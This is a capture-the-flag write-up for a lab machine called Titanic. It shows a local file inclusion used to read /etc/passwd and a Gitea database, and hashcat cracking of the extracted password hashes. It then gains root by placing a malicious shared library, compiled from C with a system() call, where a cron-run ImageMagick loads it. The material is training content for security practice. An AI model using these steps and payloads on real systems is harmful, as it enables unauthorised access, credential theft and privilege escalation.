
Titanic
Summary
A booking application on the web service suffers from a local file inclusion. Using this, we can enumerate the system and discover another domain, which hosts a Gitea instance. By retrieving the configuration file, we can find the database file of this application, download it, and crack the contained hashes. This enables us to get a foothold as a user.
After enumerating the system and using an external tool to detect actions on the file system, we notice a hidden cronjob, which executes a root
owned shell script. Once it’s being run, it calls an outdated binary with a vulnerability, which we can use to inject a malicious library. Using this, we get arbitrary code execution as root
.
Solution
Reconnaissance
Using Nmap, we can discover two open ports:
nmap -sC -sV 10.10.11.55 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 11:20 CET
Nmap scan report for 10.10.11.55
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since the website on port 80 wants to forward us to titanic.htb
, let’s add this domain to /etc/hosts
. If we visit said website, we can see a website with a booking system for the Titanic.
If we click on Book Now
at the top right, the site opens a pop-up window, which prompts us to fill in some information about the reservation. Once we submit the content, the site redirects us to /download?ticket=TICKETFILE.json
, and downloads our ticket as a .json
file.
User Flag
If we take a look at the redirect link, we can spot the parameter ticket
, which points to a local file and returns it to us. In case the input is not sanitized, this may expose a local file inclusion vulnerability. In such a case, we can change the URL /download?ticket=file
and instead request any file on the system. Let’s first check if this is the case by requesting a file we know exists, and which we have access to, such as /etc/passwd
.
root:x:0:0:root:/root:/bin/bash
[...]
developer:x:1000:1000:developer:/home/developer:/bin/bash
[...]
We get a server response with the file’s content, meaning it works! We can also already identify to user account, which we need to target throughout this engagement: developer
. At this point, we could already claim the user flag by requesting /home/developer/user.txt
, however we can wait a little longer until we actually get a foothold.
Let’s continue the enumeration phase. Since we don’t have much information about the system’s file system, blindly digging through it doesn’t yield many results. However, /etc/hosts
contains another domain, which we haven’t come across yet: dev.titanic.htb
HTTP/1.1 200 OK
Date: Sun, 16 Feb 2025 10:29:37 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/hosts"
Content-Type: application/octet-stream
Content-Length: 250
Last-Modified: Fri, 07 Feb 2025 12:04:36 GMT
Cache-Control: no-cache
ETag: "1738929876.3570278-250-324273100"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
[...]
After adding this domain to our own /etc/hosts
file, we see that this domain contains a website, which we can reach externally. It runs an instance of Gitea, on which someone could manage git
repositories.
Clicking on the Explore
button at the top left, we can see two repositories by the user developer
.
If we click through both repositories, we can notice, that flask-app
corresponds to the web application we encountered before. However, it doesn’t reveal anything new about the application. The other repository contains docker-compose.yml
files of both the Gitea instance and another mysql
service, which likely runs locally. In the Gitea repository, the file contains the working path /home/developer/gitea/data
, in which the application seems to reside.
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
Since the developer
has an account on this service, it’s likely that the credential management system, such as a database, contains this user’s password. Maybe it is even the same for this machine’s SSH access. After checking Gitea’s installation instruction for docker , it tells us that Gitea stores it’s configuration files at gitea/conf/app.ini
in the working directory. So let’s retrieve /home/developer/gitea/data/gitea/conf/app.ini
and analyze the file.
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
[...]
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
[...]
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
Gitea stores it’s database at gitea/gitea.db
of the working directory. We also get the information, that this is a sqlite3
, which stores passwords as pbkdf2
hashes. Let’s retrieve the file and open it.
wget titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
[...]
label upload
language_stat user
lfs_lock user_badge
[...]
There is a user
table, which likely contains the information we are looking for. By using PRAGMA table_info(user);
, we can get column names of the table, and query for the values we are interested in. In our case, it would be the user’s name, their password, the salt used for the hash, and the hash algorithm in question.
sqlite> select name,passwd,salt,passwd_hash_algo from user;
name passwd salt passwd_hash_algo
------------- ------------------------------------------------------------ -------------------------------- ----------------
administrator cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d4 2d149e5fbd1b20cf31db3e3c6a28fc9b pbkdf2$50000$50
59c08d2dfc063b2406ac9207c980c47c5d017136
developer e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b 8bf3e3452b78544f8bee9400d6936d34 pbkdf2$50000$50
7cbc8efc5dbef30bf1682619263444ea594cfb56
staban d9f2b80d57a9c7acc6dd3b8f825394898124862655ef444c17c2547376c9 ba5d8b4490d79eaaac366f9fd33826cd pbkdf2$50000$50
e36e70c3020819996aff2a0c60a6c3fdc1268ee8
hugo 7397d27f211f9e93a2df28e38c3b0fced25219787f600999043fae972fe8 6ef7d9ea7a9ab838212567aa6956e705 pbkdf2$50000$50
fad32d72dc94ae3d020761aa50c998b49a91384d
test f009e506c888ee4d9c0af696647e700a08fd7edf399f683039b94afeb45d c83e6b3132b138d1ac2a9b2c0cb78cb2 pbkdf2$50000$50
26cc0634bce5e629c267abe4010ba5fb26040260
In contrast to other hash types, it’s not as straight forward to crack pbkdf2
hashes. However, it becomes easier if we take a look at Gitea’s documentation about passwords, as it reveals how we need to interpret the information in the passwd_hash_algo
column: pbkdf2$<iterations>$<key-length>
. After a bit of research about how to crack this hash, we can find a forum post, which gives us more information. The layout we need is the following:
sha256:<ITERATIONS>:<SALT>:<PASSWORD>
However, Gitea seemingly stores salts and hashes as hex values. So we first need to convert them from HEX, and then to base64, so we get a format Hashcat can work with. We can to this either with CLI binaries, or use Cyberchef. There is also a script, which can automate this entire process. After formatting the values appropriately, we can call Hashcat with the --user
flag.
hashcat hash --user /usr/share/wordlists/rockyou.txt
[...]
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
[...]
Now, we have credentials for the developer account: developer:25282528
. Using them, we can log into the system via SSH and claim the user flag.
849da502e852f554a7e440b0acac81e8
Root Flag
The compromised development
user does not have any special privileges, with which we could expand our access to the system. The only unusual thing we can witness, is the output, if we search for running processes.
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
develop+ 1154 4.4 0.9 1065020 35980 ? Ss Feb16 55:17 /usr/bin/python3 /opt/app/app.py
develop+ 1658 0.2 4.5 1539332 179736 ? Ssl Feb16 2:57 /usr/local/bin/gitea web
develop+ 1592626 0.0 0.2 17064 9504 ? Ss 10:19 0:00 /lib/systemd/systemd --user
develop+ 1592726 0.0 0.1 8776 5480 pts/0 Ss+ 10:19 0:00 -bash
develop+ 1594568 1.0 0.1 8656 5488 pts/1 Ss 11:35 0:00 -bash
develop+ 1594576 0.0 0.0 10072 1572 pts/1 R+ 11:35 0:00 ps aux
All the listed processes were started as the development
user. Something is prohibiting us to see any process running for another user. We can circumvent this by using a binary, such as Pspy. If we run this application with its default options, still don’t find anything of use. However, if we add the -f
flag, we also can an overview of any access to the file system made by any process. Enabling this flag makes the output very verbose, so we need to scour through it bit by bit. There seems to be some kind of hidden cronjob, which calls a script at /opt/scripts/identify_images.sh
. Let’s check it out.
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
There are three things to note. First, we script does not work with absolute paths, but changes the working directory to /opt/app/static/assets/images
. Secondly, it calls the binary magick
. Third, the script itself is owned by root
. We can therefore not change the script, however it seemingly runs as root.
Let’s take a look at the binary, which the script executes and enumerate its version.
magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
A bit of research reveals, that this version of magick
suffers from a vulnerability, allowing for arbitrary code execution, as we can see here. Essentially, the binary has a bad path definition, which allows us to inject a malicious library containing our code, if we can place it in the working directory, from which magick
is being called. And after checking, we do have write permission to this folder! By following the PoC for this vulnerability, we can create the library as follows.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > root.txt");
exit(0);
}
EOF
In this case, the payload read the root flag and writes it in the same folder, however we could also spawn any other command, such as a reverse shell. After we wait a little, root.txt
appears in the folder, which we can claim.
b777d201dd488eb29c949a7cb5876293